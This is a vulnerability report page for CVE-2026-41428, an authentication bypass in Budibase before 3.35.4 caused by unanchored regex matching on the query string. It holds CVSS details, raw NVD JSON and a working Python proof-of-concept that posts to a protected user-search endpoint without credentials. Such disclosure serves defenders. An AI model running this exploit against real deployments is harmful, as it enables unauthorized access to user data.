Security Vulnerability Report
中文
CVE-2026-41428 CVSS 9.1 CRITICAL

CVE-2026-41428

Published: 2026-04-24 20:16:28
Last Modified: 2026-04-28 15:39:14

Description

Budibase is an open-source low-code platform. Prior to 3.35.4, the authenticated middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against ctx.request.url. Since ctx.request.url in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, POST /api/global/users/search?x=/api/system/status bypasses all authentication because the regex /api/system/status/ matches in the query string portion of the URL. This vulnerability is fixed in 3.35.4.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:budibase:budibase:*:*:*:*:*:*:*:* - VULNERABLE
Budibase < 3.35.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_budibase_auth_bypass(target_url): """ PoC for CVE-2026-41428: Budibase Authentication Bypass """ # The protected endpoint we want to access protected_path = "/api/global/users/search" # A public endpoint path known to be in the whitelist public_bypass_path = "/api/system/status" # Construct the malicious URL by appending the public path to the query string # The middleware regex matches the public path in the query parameter, bypassing auth exploit_url = f"{target_url}{protected_path}?x={public_bypass_path}" print(f"[*] Sending request to: {exploit_url}") # Send request without Authorization headers response = requests.post(exploit_url) if response.status_code == 200: print(f"[+] Exploit successful! Authentication bypassed.") print(f"[+] Response body: {response.text[:200]}") else: print(f"[-] Exploit failed or patched. Status code: {response.status_code}") if __name__ == "__main__": target = "http://localhost:5000" # Replace with actual target exploit_budibase_auth_bypass(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41428", "sourceIdentifier": "[email protected]", "published": "2026-04-24T20:16:27.523", "lastModified": "2026-04-28T15:39:13.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Budibase is an open-source low-code platform. Prior to 3.35.4, the authenticated middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against ctx.request.url. Since ctx.request.url in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, POST /api/global/users/search?x=/api/system/status bypasses all authentication because the regex /api/system/status/ matches in the query string portion of the URL. This vulnerability is fixed in 3.35.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:budibase:budibase:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.35.4", "matchCriteriaId": "DD625C44-6B30-4818-AD5A-9A5DFB303BE9"}]}]}], "references": [{"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-8783-3wgf-jggf", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-8783-3wgf-jggf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}